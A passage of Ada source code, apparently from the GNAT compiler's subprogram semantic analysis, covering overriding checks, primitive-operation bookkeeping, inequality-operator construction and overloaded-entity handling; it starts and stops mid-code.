(Indic) = N_Subtype_Indication then G_Typ := Entity (Subtype_Mark (Indic)); else G_Typ := Entity (Indic); end if; if Nkind (Parent (G_Typ)) = N_Subtype_Declaration and then Present (Generic_Parent_Type (Parent (G_Typ))) then return Generic_Parent_Type (Parent (G_Typ)); end if; end if; end if; return Empty; end Get_Generic_Parent_Type; ---------------------- -- Types_Correspond -- ---------------------- function Types_Correspond (P_Type : Entity_Id; N_Type : Entity_Id) return Boolean is Prev_Type : Entity_Id := Base_Type (P_Type); New_Type : Entity_Id := Base_Type (N_Type); begin if Ekind (Prev_Type) = E_Anonymous_Access_Type then Prev_Type := Designated_Type (Prev_Type); end if; if Ekind (New_Type) = E_Anonymous_Access_Type then New_Type := Designated_Type (New_Type); end if; if Prev_Type = New_Type then return True; elsif not Is_Class_Wide_Type (New_Type) then while Etype (New_Type) /= New_Type loop New_Type := Etype (New_Type); if New_Type = Prev_Type then return True; end if; end loop; end if; return False; end Types_Correspond; -- Start of processing for Is_Non_Overriding_Operation begin -- In the case where both operations are implicit derived subprograms -- then neither overrides the other. This can only occur in certain -- obscure cases (e.g., derivation from homographs created in a generic -- instantiation). if Present (Alias (Prev_E)) and then Present (Alias (New_E)) then return True; elsif Ekind (Current_Scope) = E_Package and then Is_Generic_Instance (Current_Scope) and then In_Private_Part (Current_Scope) and then Comes_From_Source (New_E) then -- We examine the formals and result type of the inherited operation, -- to determine whether their type is derived from (the instance of) -- a generic type. The first such formal or result type is the one -- tested. Formal := First_Formal (Prev_E); F_Typ := Empty; while Present (Formal) loop F_Typ := Base_Type (Etype (Formal)); if Ekind (F_Typ) = E_Anonymous_Access_Type then F_Typ := Designated_Type (F_Typ); end if; G_Typ := Get_Generic_Parent_Type (F_Typ); exit when Present (G_Typ); Next_Formal (Formal); end loop; -- If the function dispatches on result check the result type if No (G_Typ) and then Ekind (Prev_E) = E_Function then G_Typ := Get_Generic_Parent_Type (Base_Type (Etype (Prev_E))); end if; if No (G_Typ) then return False; end if; -- If the generic type is a private type, then the original operation -- was not overriding in the generic, because there was no primitive -- operation to override. if Nkind (Parent (G_Typ)) = N_Formal_Type_Declaration and then Nkind (Formal_Type_Definition (Parent (G_Typ))) = N_Formal_Private_Type_Definition then return True; -- The generic parent type is the ancestor of a formal derived -- type declaration. We need to check whether it has a primitive -- operation that should be overridden by New_E in the generic. else declare P_Formal : Entity_Id; N_Formal : Entity_Id; P_Typ : Entity_Id; N_Typ : Entity_Id; P_Prim : Entity_Id; Prim_Elt : Elmt_Id := First_Elmt (Primitive_Operations (G_Typ)); begin while Present (Prim_Elt) loop P_Prim := Node (Prim_Elt); if Chars (P_Prim) = Chars (New_E) and then Ekind (P_Prim) = Ekind (New_E) then P_Formal := First_Formal (P_Prim); N_Formal := First_Formal (New_E); while Present (P_Formal) and then Present (N_Formal) loop P_Typ := Etype (P_Formal); N_Typ := Etype (N_Formal); if not Types_Correspond (P_Typ, N_Typ) then exit; end if; Next_Formal (P_Formal); Next_Formal (N_Formal); end loop; -- Found a matching primitive operation belonging to the -- formal ancestor type, so the new subprogram is -- overriding. if No (P_Formal) and then No (N_Formal) and then (Ekind (New_E) /= E_Function or else Types_Correspond (Etype (P_Prim), Etype (New_E))) then return False; end if; end if; Next_Elmt (Prim_Elt); end loop; -- If no match found, then the new subprogram does not override -- in the generic (nor in the instance). -- If the type in question is not abstract, and the subprogram -- is, this will be an error if the new operation is in the -- private part of the instance. Emit a warning now, which will -- make the subsequent error message easier to understand. if Present (F_Typ) and then not Is_Abstract_Type (F_Typ) and then Is_Abstract_Subprogram (Prev_E) and then In_Private_Part (Current_Scope) then Error_Msg_Node_2 := F_Typ; Error_Msg_NE ("private operation& in generic unit does not override " & "any primitive operation of& (RM 12.3(18))??", New_E, New_E); end if; return True; end; end if; else return False; end if; end Is_Non_Overriding_Operation; ------------------------------------- -- List_Inherited_Pre_Post_Aspects -- ------------------------------------- procedure List_Inherited_Pre_Post_Aspects (E : Entity_Id) is begin if Opt.List_Inherited_Aspects and then Is_Subprogram_Or_Generic_Subprogram (E) then declare Subps : constant Subprogram_List := Inherited_Subprograms (E); Items : Node_Id; Prag : Node_Id; begin for Index in Subps'Range loop Items := Contract (Subps (Index)); if Present (Items) then Prag := Pre_Post_Conditions (Items); while Present (Prag) loop Error_Msg_Sloc := Sloc (Prag); if Class_Present (Prag) and then not Split_PPC (Prag) then if Pragma_Name (Prag) = Name_Precondition then Error_Msg_N ("info: & inherits `Pre''Class` aspect from " & "#?.l?", E); else Error_Msg_N ("info: & inherits `Post''Class` aspect from " & "#?.l?", E); end if; end if; Prag := Next_Pragma (Prag); end loop; end if; end loop; end; end if; end List_Inherited_Pre_Post_Aspects; ------------------------------ -- Make_Inequality_Operator -- ------------------------------ -- S is the defining identifier of an equality operator. We build a -- subprogram declaration with the right signature. This operation is -- intrinsic, because it is always expanded as the negation of the -- call to the equality function. procedure Make_Inequality_Operator (S : Entity_Id) is Loc : constant Source_Ptr := Sloc (S); Decl : Node_Id; Formals : List_Id; Op_Name : Entity_Id; FF : constant Entity_Id := First_Formal (S); NF : constant Entity_Id := Next_Formal (FF); begin -- Check that equality was properly defined, ignore call if not if No (NF) then return; end if; declare A : constant Entity_Id := Make_Defining_Identifier (Sloc (FF), Chars => Chars (FF)); B : constant Entity_Id := Make_Defining_Identifier (Sloc (NF), Chars => Chars (NF)); begin Op_Name := Make_Defining_Operator_Symbol (Loc, Name_Op_Ne); Formals := New_List ( Make_Parameter_Specification (Loc, Defining_Identifier => A, Parameter_Type => New_Occurrence_Of (Etype (First_Formal (S)), Sloc (Etype (First_Formal (S))))), Make_Parameter_Specification (Loc, Defining_Identifier => B, Parameter_Type => New_Occurrence_Of (Etype (Next_Formal (First_Formal (S))), Sloc (Etype (Next_Formal (First_Formal (S))))))); Decl := Make_Subprogram_Declaration (Loc, Specification => Make_Function_Specification (Loc, Defining_Unit_Name => Op_Name, Parameter_Specifications => Formals, Result_Definition => New_Occurrence_Of (Standard_Boolean, Loc))); -- Insert inequality right after equality if it is explicit or after -- the derived type when implicit. These entities are created only -- for visibility purposes, and eventually replaced in the course -- of expansion, so they do not need to be attached to the tree and -- seen by the back-end. Keeping them internal also avoids spurious -- freezing problems. The declaration is inserted in the tree for -- analysis, and removed afterwards. If the equality operator comes -- from an explicit declaration, attach the inequality immediately -- after. Else the equality is inherited from a derived type -- declaration, so insert inequality after that declaration. if No (Alias (S)) then Insert_After (Unit_Declaration_Node (S), Decl); elsif Is_List_Member (Parent (S)) then Insert_After (Parent (S), Decl); else Insert_After (Parent (Etype (First_Formal (S))), Decl); end if; Mark_Rewrite_Insertion (Decl); Set_Is_Intrinsic_Subprogram (Op_Name); Analyze (Decl); Remove (Decl); Set_Has_Completion (Op_Name); Set_Corresponding_Equality (Op_Name, S); Set_Is_Abstract_Subprogram (Op_Name, Is_Abstract_Subprogram (S)); end; end Make_Inequality_Operator; ---------------------- -- May_Need_Actuals -- ---------------------- procedure May_Need_Actuals (Fun : Entity_Id) is F : Entity_Id; B : Boolean; begin F := First_Formal (Fun); B := True; while Present (F) loop if No (Default_Value (F)) then B := False; exit; end if; Next_Formal (F); end loop; Set_Needs_No_Actuals (Fun, B); end May_Need_Actuals; --------------------- -- Mode_Conformant -- --------------------- function Mode_Conformant (New_Id, Old_Id : Entity_Id) return Boolean is Result : Boolean; begin Check_Conformance (New_Id, Old_Id, Mode_Conformant, False, Result); return Result; end Mode_Conformant; --------------------------- -- New_Overloaded_Entity -- --------------------------- procedure New_Overloaded_Entity (S : Entity_Id; Derived_Type : Entity_Id := Empty) is Overridden_Subp : Entity_Id := Empty; -- Set if the current scope has an operation that is type-conformant -- with S, and becomes hidden by S. Is_Primitive_Subp : Boolean; -- Set to True if the new subprogram is primitive E : Entity_Id; -- Entity that S overrides procedure Check_For_Primitive_Subprogram (Is_Primitive : out Boolean; Is_Overriding : Boolean := False); -- If the subprogram being analyzed is a primitive operation of the type -- of a formal or result, set the Has_Primitive_Operations flag on the -- type, and set Is_Primitive to True (otherwise set to False). Set the -- corresponding flag on the entity itself for later use. function Has_Matching_Entry_Or_Subprogram (E : Entity_Id) return Boolean; -- True if a) E is a subprogram whose first formal is a concurrent type -- defined in the scope of E that has some entry or subprogram whose -- profile matches E, or b) E is an internally built dispatching -- subprogram of a protected type and there is a matching subprogram -- defined in the enclosing scope of the protected type, or c) E is -- an entry of a synchronized type and a matching procedure has been -- previously defined in the enclosing scope of the synchronized type. function Is_Private_Declaration (E : Entity_Id) return Boolean; -- Check that E is declared in the private part of the current package, -- or in the package body, where it may hide a previous declaration. -- We can't use In_Private_Part by itself because this flag is also -- set when freezing entities, so we must examine the place of the -- declaration in the tree, and recognize wrapper packages as well. function Is_Overriding_Alias (Old_E : Entity_Id; New_E : Entity_Id) return Boolean; -- Check whether new subprogram and old subprogram are both inherited -- from subprograms that have distinct dispatch table entries. This can -- occur with derivations from instances with accidental homonyms. The -- function is conservative given that the converse is only true within -- instances that contain accidental overloadings. procedure Report_Conflict (S : Entity_Id; E : Entity_Id); -- Report conflict between entities S and E ------------------------------------ -- Check_For_Primitive_Subprogram -- ------------------------------------ procedure Check_For_Primitive_Subprogram (Is_Primitive : out Boolean; Is_Overriding : Boolean := False) is procedure Add_Or_Replace_Untagged_Primitive (Typ : Entity_Id); -- Either add the new subprogram to the list of primitives for -- untagged type Typ, or if it overrides a primitive of Typ, then -- replace the overridden primitive in Typ's primitives list with -- the new subprogram. function Visible_Part_Type (T : Entity_Id) return Boolean; -- Returns true if T is declared in the visible part of the current -- package scope; otherwise returns false. Assumes that T is declared -- in a package. procedure Check_Private_Overriding (T : Entity_Id); -- Checks that if a primitive abstract subprogram of a visible -- abstract type is declared in a private part, then it must override -- an abstract subprogram declared in the visible part. Also checks -- that if a primitive function with a controlling result is declared -- in a private part, then it must override a function declared in -- the visible part. --------------------------------------- -- Add_Or_Replace_Untagged_Primitive -- --------------------------------------- procedure Add_Or_Replace_Untagged_Primitive (Typ : Entity_Id) is Replaced_Overridden_Subp : Boolean := False; begin pragma Assert (not Is_Tagged_Type (Typ)); -- Anonymous access types don't have a primitives list. Normally -- such types wouldn't make it here, but the case of anonymous -- access-to-subprogram types can. if not Is_Anonymous_Access_Type (Typ) then -- If S overrides a subprogram that's a primitive of -- the formal's type, then replace the overridden -- subprogram with the new subprogram in the type's -- list of primitives. if Is_Overriding then pragma Assert (Present (Overridden_Subp) and then Overridden_Subp = E); -- Added for now declare Prim_Ops : constant Elist_Id := Primitive_Operations (Typ); Elmt : Elmt_Id; begin if Present (Prim_Ops) then Elmt := First_Elmt (Prim_Ops); while Present (Elmt) and then Node (Elmt) /= Overridden_Subp loop Next_Elmt (Elmt); end loop; if Present (Elmt) then Replace_Elmt (Elmt, S); Replaced_Overridden_Subp := True; end if; end if; end; end if; -- If the new subprogram did not override an operation -- of the formal's type, then add it to the primitives -- list of the type. if not Replaced_Overridden_Subp then Append_Unique_Elmt (S, Primitive_Operations (Typ)); end if; end if; end Add_Or_Replace_Untagged_Primitive; ------------------------------ -- Check_Private_Overriding -- ------------------------------ procedure Check_Private_Overriding (T : Entity_Id) is function Overrides_Private_Part_Op return Boolean; -- This detects the special case where the overriding subprogram -- is overriding a subprogram that was declared in the same -- private part. That case is illegal by 3.9.3(10). function Overrides_Visible_Function (Partial_View : Entity_Id) return Boolean; -- True if S overrides a function in the visible part. The -- overridden function could be explicitly or implicitly declared. ------------------------------- -- Overrides_Private_Part_Op -- ------------------------------- function Overrides_Private_Part_Op return Boolean is Over_Decl : constant Node_Id := Unit_Declaration_Node (Overridden_Operation (S)); Subp_Decl : constant Node_Id := Unit_Declaration_Node (S); begin pragma Assert (Is_Overriding); pragma Assert (Nkind (Over_Decl) = N_Abstract_Subprogram_Declaration); pragma Assert (Nkind (Subp_Decl) = N_Abstract_Subprogram_Declaration); return In_Same_List (Over_Decl, Subp_Decl); end Overrides_Private_Part_Op; -------------------------------- -- Overrides_Visible_Function -- -------------------------------- function Overrides_Visible_Function (Partial_View : Entity_Id) return Boolean is begin if not Is_Overriding or else not Has_Homonym (S) then return False; end if; if not Present (Partial_View) then return True; end if; -- Search through all the homonyms H of S in the current -- package spec, and return True if we find one that matches. -- Note that Parent (H) will be the declaration of the -- partial view of T for a match. declare H : Entity_Id := S; begin loop H := Homonym (H); exit when not Present (H) or else Scope (H) /= Scope (S); if Nkind (Parent (H)) in N_Private_Extension_Declaration | N_Private_Type_Declaration and then Defining_Identifier (Parent (H)) = Partial_View then return True; end if; end loop; end; return False; end Overrides_Visible_Function; -- Start of processing for Check_Private_Overriding begin if Is_Package_Or_Generic_Package (Current_Scope) and then In_Private_Part (Current_Scope) and then Visible_Part_Type (T) and then not In_Instance then if Is_Abstract_Type (T) and then Is_Abstract_Subprogram (S) and then (not Is_Overriding or else not Is_Abstract_Subprogram (E) or else Overrides_Private_Part_Op) then Error_Msg_N ("abstract subprograms must be visible (RM 3.9.3(10))!", S); elsif Ekind (S) = E_Function then declare Partial_View : constant Entity_Id := Incomplete_Or_Partial_View (T); begin if not Overrides_Visible_Function (Partial_View) then -- Here, S is "function ... return T;" declared in -- the private part, not overriding some visible -- operation. That's illegal in the tagged case -- (but not if the private type is untagged). if ((Present (Partial_View) and then Is_Tagged_Type (Partial_View)) or else (not Present (Partial_View) and then Is_Tagged_Type (T))) and then T = Base_Type (Etype (S)) then Error_Msg_N ("private function with tagged result must" & " override visible-part function", S); Error_Msg_N ("\move subprogram to the visible part" & " (RM 3.9.3(10))", S); -- Ada 2012 (AI05-0073): Extend this check to the case -- of a function whose result subtype is defined by an -- access_definition designating specific tagged type. elsif Ekind (Etype (S)) = E_Anonymous_Access_Type and then Is_Tagged_Type (Designated_Type (Etype (S))) and then not Is_Class_Wide_Type (Designated_Type (Etype (S))) and then Ada_Version >= Ada_2012 then Error_Msg_N ("private function with controlling access " & "result must override visible-part function", S); Error_Msg_N ("\move subprogram to the visible part" & " (RM 3.9.3(10))", S); end if; end if; end; end if; end if; end Check_Private_Overriding; ----------------------- -- Visible_Part_Type -- ----------------------- function Visible_Part_Type (T : Entity_Id) return Boolean is P : constant Node_Id := Unit_Declaration_Node (Scope (T)); begin -- If the entity is a private type, then it must be declared in a -- visible part. if Is_Private_Type (T) then return True; elsif Is_Type (T) and then Has_Private_Declaration (T) then return True; elsif Is_List_Member (Declaration_Node (T)) and then List_Containing (Declaration_Node (T)) = Visible_Declarations (Specification (P)) then return True; else return False; end if; end Visible_Part_Type; -- Local variables Formal : Entity_Id; F_Typ : Entity_Id; B_Typ : Entity_Id; -- Start of processing for Check_For_Primitive_Subprogram begin Is_Primitive := False; if not Comes_From_Source (S) then -- Add an inherited primitive for an untagged derived type to -- Derived_Type's list of primitives. Tagged primitives are -- dealt with in Check_Dispatching_Operation. Do this even when -- Extensions_Allowed is False to issue better error messages. if Present (Derived_Type) and then not Is_Tagged_Type (Derived_Type) then Append_Unique_Elmt (S, Primitive_Operations (Derived_Type)); end if; -- If subprogram is at library level, it is not primitive operation elsif Current_Scope = Standard_Standard then null; elsif (Is_Package_Or_Generic_Package (Current_Scope) and then not In_Package_Body (Current_Scope)) or else Is_Overriding then -- For function, check return type if Ekind (S) = E_Function then if Ekind (Etype (S)) = E_Anonymous_Access_Type then F_Typ := Designated_Type (Etype (S)); else F_Typ := Etype (S); end if; B_Typ := Base_Type (F_Typ); if Scope (B_Typ) = Current_Scope and then not Is_Class_Wide_Type (B_Typ) and then not Is_Generic_Type (B_Typ) then Is_Primitive := True; Set_Has_Primitive_Operations (B_Typ); Set_Is_Primitive (S); -- Add a primitive for an untagged type to B_Typ's -- list of primitives. Tagged primitives are dealt with -- in Check_Dispatching_Operation. Do this even when -- Extensions_Allowed is False to issue better error -- messages. if not Is_Tagged_Type (B_Typ) then Add_Or_Replace_Untagged_Primitive (B_Typ); end if; Check_Private_Overriding (B_Typ); -- The Ghost policy in effect at the point of declaration -- or a tagged type and a primitive operation must match -- (SPARK RM 6.9(16)). Check_Ghost_Primitive (S, B_Typ); end if; end if; -- For all subprograms, check formals Formal := First_Formal (S); while Present (Formal) loop if Ekind (Etype (Formal)) = E_Anonymous_Access_Type then F_Typ := Designated_Type (Etype (Formal)); else F_Typ := Etype (Formal); end if; B_Typ := Base_Type (F_Typ); if Ekind (B_Typ) = E_Access_Subtype then B_Typ := Base_Type (B_Typ); end if; if Scope (B_Typ) = Current_Scope and then not Is_Class_Wide_Type (B_Typ) and then not Is_Generic_Type (B_Typ) then Is_Primitive := True; Set_Is_Primitive (S); Set_Has_Primitive_Operations (B_Typ); -- Add a primitive for an untagged type to B_Typ's list -- of primitives. Tagged primitives are dealt with in -- Check_Dispatching_Operation. Do this even when -- Extensions_Allowed is False to issue better error -- messages. if not Is_Tagged_Type (B_Typ) then Add_Or_Replace_Untagged_Primitive (B_Typ); end if; Check_Private_Overriding (B_Typ); -- The Ghost policy in effect at the point of declaration -- of a tagged type and a primitive operation must match -- (SPARK RM 6.9(16)). Check_Ghost_Primitive (S, B_Typ); end if; Next_Formal (Formal); end loop; -- Special case: An equality function can be redefined for a type -- occurring in a declarative part, and won't otherwise be treated as -- a primitive because it doesn't occur in a package spec and doesn't -- override an inherited subprogram. It's important that we mark it -- primitive so it can be returned by Collect_Primitive_Operations -- and be used in composing the equality operation of later types -- that have a component of the type. elsif Chars (S) = Name_Op_Eq and then Etype (S) = Standard_Boolean then B_Typ := Base_Type (Etype (First_Formal (S))); if Scope (B_Typ) = Current_Scope and then Base_Type (Etype (Next_Formal (First_Formal (S)))) = B_Typ and then not Is_Limited_Type (B_Typ) then Is_Primitive := True; Set_Is_Primitive (S); Set_Has_Primitive_Operations (B_Typ); Check_Private_Overriding (B_Typ); -- The Ghost policy in effect at the point of declaration of a -- tagged type and a primitive operation must match -- (SPARK RM 6.9(16)). Check_Ghost_Primitive (S, B_Typ); end if; end if; end Check_For_Primitive_Subprogram; -------------------------------------- -- Has_Matching_Entry_Or_Subprogram -- -------------------------------------- function Has_Matching_Entry_Or_Subprogram (E : Entity_Id) return Boolean is function Check_Conforming_Parameters (E1_Param : Node_Id; E2_Param : Node_Id; Ctype : Conformance_Type) return Boolean; -- Starting from the given parameters, check that all the parameters -- of two entries or subprograms are conformant. Used to skip -- the check on the controlling argument. function Matching_Entry_Or_Subprogram (Conc_Typ : Entity_Id; Subp : Entity_Id) return Entity_Id; -- Return the first entry or subprogram of the given concurrent type -- whose name matches the name of Subp and has a profile conformant -- with Subp; return Empty if not found. function Matching_Dispatching_Subprogram (Conc_Typ : Entity_Id; Ent : Entity_Id) return Entity_Id; -- Return the first dispatching primitive of Conc_Type defined in the -- enclosing scope of Conc_Type (i.e. before the full definition of -- this concurrent type) whose name matches the entry Ent and has a -- profile conformant with the profile of the corresponding (not yet -- built) dispatching primitive of Ent; return Empty if not found. function Matching_Original_Protected_Subprogram (Prot_Typ : Entity_Id; Subp : Entity_Id) return Entity_Id; -- Return the first subprogram defined in the enclosing scope of -- Prot_Typ (before the full definition of this protected type) -- whose name matches the original name of Subp and has a profile -- conformant with the profile of Subp; return Empty if not found. function Normalized_First_Parameter_Type (E : Entity_Id) return Entity_Id; -- Return the type of the first parameter unless that type -- is an anonymous access type, in which case return the -- designated type. Used to treat anonymous-access-to-synchronized -- the same as synchronized for purposes of checking for -- prefixed view profile conflicts. --------------------------------- -- Check_Conforming_Parameters -- --------------------------------- function Check_Conforming_Parameters (E1_Param : Node_Id; E2_Param : Node_Id; Ctype : Conformance_Type) return Boolean is Param_E1 : Node_Id := E1_Param; Param_E2 : Node_Id := E2_Param; begin while Present (Param_E1) and then Present (Param_E2) loop if (Ctype >= Mode_Conformant) and then Ekind (Defining_Identifier (Param_E1)) /= Ekind (Defining_Identifier (Param_E2)) then return False; elsif not Conforming_Types (Find_Parameter_Type (Param_E1), Find_Parameter_Type (Param_E2), Ctype) then return False; end if; Next (Param_E1); Next (Param_E2); end loop; -- The candidate is not valid if one of the two lists contains -- more parameters than the other return No (Param_E1) and then No (Param_E2); end Check_Conforming_Parameters; ---------------------------------- -- Matching_Entry_Or_Subprogram -- ---------------------------------- function Matching_Entry_Or_Subprogram (Conc_Typ : Entity_Id; Subp : Entity_Id) return Entity_Id is E : Entity_Id; begin E := First_Entity (Conc_Typ); while Present (E) loop if Chars (Subp) = Chars (E) and then (Ekind (E) = E_Entry or else Is_Subprogram (E)) and then Check_Conforming_Parameters (First (Parameter_Specifications (Parent (E))), Next (First (Parameter_Specifications (Parent (Subp)))), Type_Conformant) then return E; end if; Next_Entity (E); end loop; return Empty; end Matching_Entry_Or_Subprogram; ------------------------------------- -- Matching_Dispatching_Subprogram -- ------------------------------------- function Matching_Dispatching_Subprogram (Conc_Typ : Entity_Id; Ent : Entity_Id) return Entity_Id is E : Entity_Id; begin -- Search for entities in the enclosing scope of this synchronized -- type. pragma Assert (Is_Concurrent_Type (Conc_Typ)); Push_Scope (Scope (Conc_Typ)); E := Current_Entity_In_Scope (Ent); Pop_Scope; while Present (E) loop if Scope (E) = Scope (Conc_Typ) and then Comes_From_Source (E) and then Ekind (E) = E_Procedure and then Present (First_Entity (E)) and then Is_Controlling_Formal (First_Entity (E)) and then Etype (First_Entity (E)) = Conc_Typ and then Check_Conforming_Parameters (First (Parameter_Specifications (Parent (Ent))), Next (First (Parameter_Specifications (Parent (E)))), Subtype_Conformant) then return E; end if; E := Homonym (E); end loop; return Empty; end Matching_Dispatching_Subprogram; -------------------------------------------- -- Matching_Original_Protected_Subprogram -- -------------------------------------------- function Matching_Original_Protected_Subprogram (Prot_Typ : Entity_Id; Subp : Entity_Id) return Entity_Id is ICF : constant Boolean := Is_Controlling_Formal (First_Entity (Subp)); E : Entity_Id; begin -- Temporarily decorate the first parameter of Subp as controlling -- formal, required to invoke Subtype_Conformant. Set_Is_Controlling_Formal (First_Entity (Subp)); E := Current_Entity_In_Scope (Original_Protected_Subprogram (Subp)); while Present (E) loop if Scope (E) = Scope (Prot_Typ) and then Comes_From_Source (E) and then Ekind (Subp) = Ekind (E) and then Present (First_Entity (E)) and then Is_Controlling_Formal (First_Entity (E)) and then Etype (First_Entity (E)) = Prot_Typ and then Subtype_Conformant (Subp, E, Skip_Controlling_Formals => True) then Set_Is_Controlling_Formal (First_Entity (Subp), ICF); return E; end if; E := Homonym (E); end loop; Set_Is_Controlling_Formal (First_Entity (Subp), ICF); return Empty; end Matching_Original_Protected_Subprogram; ------------------------------------- -- Normalized_First_Parameter_Type -- ------------------------------------- function Normalized_First_Parameter_Type (E : Entity_Id) return Entity_Id is Result : Entity_Id := Etype (First_Entity (E)); begin if Ekind (Result) = E_Anonymous_Access_Type then Result := Designated_Type (Result); end if; return Result; end Normalized_First_Parameter_Type; -- Start of processing for Has_Matching_Entry_Or_Subprogram begin -- Case 1: E is a subprogram whose first formal is a concurrent type -- defined in the scope of E that has an entry or subprogram whose -- profile matches E. if Comes_From_Source (E) and then Is_Subprogram (E) and then Present (First_Entity (E)) and then Is_Concurrent_Record_Type (Normalized_First_Parameter_Type (E)) then if Scope (E) = Scope (Corresponding_Concurrent_Type (Normalized_First_Parameter_Type (E))) and then Present (Matching_Entry_Or_Subprogram (Corresponding_Concurrent_Type (Normalized_First_Parameter_Type (E)), Subp => E)) then Report_Conflict (E, Matching_Entry_Or_Subprogram (Corresponding_Concurrent_Type (Normalized_First_Parameter_Type (E)), Subp => E)); return True; end if; -- Case 2: E is an internally built dispatching subprogram of a -- protected type and there is a subprogram defined in the enclosing -- scope of the protected type that has the original name of E and -- its profile is conformant with the profile of E. We check the -- name of the original protected subprogram associated with E since -- the expander builds dispatching primitives of protected functions -- and procedures with other names (see Exp_Ch9.Build_Selected_Name). elsif not Comes_From_Source (E) and then Is_Subprogram (E) and then Present (First_Entity (E)) and then Is_Concurrent_Record_Type (Etype (First_Entity (E))) and then Present (Original_Protected_Subprogram (E)) and then Present (Matching_Original_Protected_Subprogram (Corresponding_Concurrent_Type (Etype (First_Entity (E))), Subp => E)) then Report_Conflict (E, Matching_Original_Protected_Subprogram (Corresponding_Concurrent_Type (Etype (First_Entity (E))), Subp => E)); return True; -- Case 3: E is an entry of a synchronized type and a matching -- procedure has been previously defined in the enclosing scope -- of the synchronized type. elsif Comes_From_Source (E) and then Ekind (E) = E_Entry and then Present (Matching_Dispatching_Subprogram (Current_Scope, E)) then Report_Conflict (E, Matching_Dispatching_Subprogram (Current_Scope, E)); return True; end if; return False; end Has_Matching_Entry_Or_Subprogram; ---------------------------- -- Is_Private_Declaration -- ---------------------------- function Is_Private_Declaration (E : Entity_Id) return Boolean is Decl : constant Node_Id := Unit_Declaration_Node (E); Priv_Decls : List_Id; begin if Is_Package_Or_Generic_Package (Current_Scope) and then In_Private_Part (Current_Scope) then Priv_Decls := Private_Declarations (Package_Specification (Current_Scope)); return In_Package_Body (Current_Scope) or else (Is_List_Member (Decl) and then List_Containing (Decl) = Priv_Decls) or else (Nkind (Parent (Decl)) = N_Package_Specification and then not Is_Compilation_Unit (Defining_Entity (Parent (Decl))) and then List_Containing (Parent (Parent (Decl))) = Priv_Decls); else return False; end if; end Is_Private_Declaration; -------------------------- -- Is_Overriding_Alias -- -------------------------- function Is_Overriding_Alias (Old_E : Entity_Id; New_E : Entity_Id) return Boolean is AO : constant Entity_Id := Alias (Old_E); AN : constant Entity_Id := Alias (New_E); begin return Scope (AO) /= Scope (AN) or else No (DTC_Entity (AO)) or else No (DTC_Entity (AN)) or else DT_Position (AO) = DT_Position (AN); end Is_Overriding_Alias; --------------------- -- Report_Conflict -- --------------------- procedure Report_Conflict (S : Entity_Id; E : Entity_Id) is begin Error_Msg_Sloc := Sloc (E); -- Generate message, with useful additional warning if in generic if Is_Generic_Unit (E) then Error_Msg_N ("previous generic unit cannot be overloaded", S); Error_Msg_N ("\& conflicts with declaration#", S); else Error_Msg_N ("& conflicts with declaration#", S); end if; end Report_Conflict; -- Start of processing for New_Overloaded_Entity begin -- We need to look for an entity that S may override. This must be a -- homonym in the current scope, so we look for the first homonym of -- S in the current scope as the starting point for the search. E := Current_Entity_In_Scope (S); -- Ada 2005 (AI-251): Derivation of abstract interface primitives. -- They are directly added to the list of primitive operations of -- Derived_Type, unless this is a rederivation in the private part -- of an operation that was already derived in the visible part of -- the current package. if Ada_Version >= Ada_2005 and then Present (Derived_Type) and then Present (Alias (S)) and then Is_Dispatching_Operation (Alias (S)) and then Present (Find_Dispatching_Type (Alias (S))) and then Is_Interface (Find_Dispatching_Type (Alias (S))) then -- For private types, when the full-view is processed we propagate to -- the full view the non-overridden entities whose attribute "alias" -- references an interface primitive. These entities were added by -- Derive_Subprograms to ensure that interface primitives are -- covered. -- Inside_Freeze_Actions is non zero when S corresponds with an -- internal entity that links an interface primitive with its -- covering primitive through attribute Interface_Alias (see -- Add_Internal_Interface_Entities). if Inside_Freezing_Actions = 0 and then Is_Package_Or_Generic_Package (Current_Scope) and then In_Private_Part (Current_Scope) and then Parent_Kind (E) = N_Private_Extension_Declaration and then Nkind (Parent (S)) = N_Full_Type_Declaration and then Full_View (Defining_Identifier (Parent (E))) = Defining_Identifier (Parent (S)) and then Alias (E) = Alias (S) then Check_Operation_From_Private_View (S, E); Set_Is_Dispatching_Operation (S); -- Common case else Enter_Overloaded_Entity (S); Check_Dispatching_Operation (S, Empty); Check_For_Primitive_Subprogram (Is_Primitive_Subp); end if; return; end if; -- For synchronized types check conflicts of this entity with previously -- defined entities. if Ada_Version >= Ada_2005 and then Has_Matching_Entry_Or_Subprogram (S) then return; end if; -- If there is no homonym then this is definitely not overriding if No (E) then Enter_Overloaded_Entity (S); Check_Dispatching_Operation (S, Empty); Check_For_Primitive_Subprogram (Is_Primitive_Subp); -- If subprogram has an explicit declaration, check whether it has an -- overriding indicator. if Comes_From_Source (S) then Check_Synchronized_Overriding (S, Overridden_Subp); -- (Ada 2012: AI05-0125-1): If S is a dispatching operation then -- it may have overridden some hidden inherited primitive. Update -- Overridden_Subp to avoid spurious errors when checking the -- overriding indicator. if Ada_Version >= Ada_2012 and then No (Overridden_Subp) and then Is_Dispatching_Operation (S) and then Present (Overridden_Operation (S)) then Overridden_Subp := Overridden_Operation (S); end if; Check_Overriding_Indicator (S, Overridden_Subp, Is_Primitive => Is_Primitive_Subp); -- The Ghost policy in effect at the point of declaration of a -- parent subprogram and an overriding subprogram must match -- (SPARK RM 6.9(17)). Check_Ghost_Overriding (S, Overridden_Subp); end if; -- If there is a homonym that is not overloadable, then we have an -- error, except for the special cases checked explicitly below. elsif not Is_Overloadable (E) then -- Check for spurious conflict produced by a subprogram that has the -- same name as that of the enclosing generic package. The conflict -- occurs within an instance, between the subprogram and the renaming -- declaration for the package. After the subprogram, the package -- renaming declaration becomes hidden. if Ekind (E) = E_Package and then Present (Renamed_Entity (E)) and then Renamed_Entity (E) = Current_Scope and then Nkind (Parent (Renamed_Entity (E))) = N_Package_Specification and then Present (Generic_Parent (Parent (Renamed_Entity (E)))) then Set_Is_Hidden (E); Set_Is_Immediately_Visible (E, False); Enter_Overloaded_Entity (S); Set_Homonym (S, Homonym (E)); Check_Dispatching_Operation (S, Empty); Check_Overriding_Indicator (S, Empty, Is_Primitive => False); -- If the subprogram is implicit it is hidden by the previous -- declaration. However if it is dispatching, it must appear in the -- dispatch table anyway, because it can be dispatched to even if it -- cannot be called directly. elsif Present (Alias (S)) and then not Comes_From_Source (S) then Set_Scope (S, Current_Scope); if Is_Dispatching_Operation (Alias (S)) then Check_Dispatching_Operation (S, Empty); end if; return; else Report_Conflict (S, E); return; end if; -- E exists and is overloadable else Check_Synchronized_Overriding (S, Overridden_Subp); -- Loop through E and its homonyms to determine if any of them is -- the candidate for overriding by S. while Present (E) loop -- Definitely not interesting if not in the current scope if Scope (E) /= Current_Scope then null; -- A function can overload 